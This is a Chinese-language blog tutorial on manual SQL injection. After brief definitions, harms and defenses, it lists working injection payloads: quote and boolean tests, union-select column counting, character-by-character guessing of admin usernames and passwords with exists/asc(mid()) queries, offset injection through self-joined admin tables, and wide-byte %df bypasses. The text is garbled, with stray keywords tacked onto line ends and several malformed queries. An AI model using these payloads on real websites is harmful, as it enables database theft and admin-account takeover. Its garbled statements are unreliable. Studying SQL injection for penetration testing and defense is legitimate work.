当咱们学习一个知识时咱们要考虑几个问题:是什么?怎么作?而后进行有条理的学习web
首先咱们要明白SQL注入是什么:sql
sql——结构化查询语言shell
SQL注入就是在网站url中插入sql语句,执行sql命令,获取数据库内容,达到欺骗服务器的目的。数据库
SQL注入的原理:普通用户提交sql查询语句,网站没有对用户输入进行过滤致使执行用户命令服务器
危害:SQL注入可使入侵者获取后台帐号密码、拖库、进入后台破坏、拿shell工具
防御:设置网站黑名单、限制敏感词汇、对用户输入进行转义、将参数语句化学习
明白什么时SQL注入后咱们就要学习如何注入。测试
注入的前提是要找到注入漏洞,一般判断是否存在SQL注入漏洞的方法有:网站
一、 ‘ 单引号判断编码
二、 and 1=1 1=2 判断
找到注入漏洞后就能够进行SQL注入了,注入方法分为不少种:
联合查询法
逐字猜解法
偏移注入法
宽字节注入
时间、布尔盲注
报错注入
进行注入可使用手工和工具,手工注入方法:
一、联合查询法
首先判断存在注入漏洞后:
一、使用order by
二、使用联合查询语句:union select nums,nums(字段数) from admin(数据库表名)
三、根据返回内容进一步猜解列名:帐号密码
二、逐字猜解法:
逐字猜解不须要进行猜解字段,直接使用逐字猜解语句猜解库名、列名以及帐号密码
逐字猜解语句:
and exists (select * from 表名)
and exists (select 列名 from 表名)
and (select top 1 len(用户名) from admin ) =名字长度
and (select top 1 asc(mid用户名,1,1)from admin )=97 (判断第一位的ascll值)
and (select top 1 asc(mid用户名,2,1)from admin )=97 (第二位)
逐字猜解方法偏于繁琐,熟悉手工注入方式便可,在渗透测试过程当中仍是要讲究效率问题
三、偏移注入法:
偏移注入属于没法猜解帐号密码后尝试的使用方法,注入结果带有一点运气的成分
偏移注入语句:
order by 猜解字段
union select num,num,num from 表名
union select num,num,* from admin 逐个递减字段数,当能够正常访问则证实admin表存在(递减字段数假设为x)个字段
以后每次递减x个字段
递减一个x后
union select num * from(admin as ainner join admin as b on a.id=b.id)
递减两个x后
union select num * from ((admin in as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)
逐个递减直到所剩字段小于x后(不必定能够获得所要结果)
四、宽字节注入法:
何时使用宽字节呢?当web编码使用GBK时,能够将单引号转义则使用宽字节注入
宽字节注入:%df (注入语句)%23
五、报错注入,盲注则根据页面返回状况,返回时间进行注入
以上即为经常使用的几种手工注入方式,若有错误请留言,博主及时更正!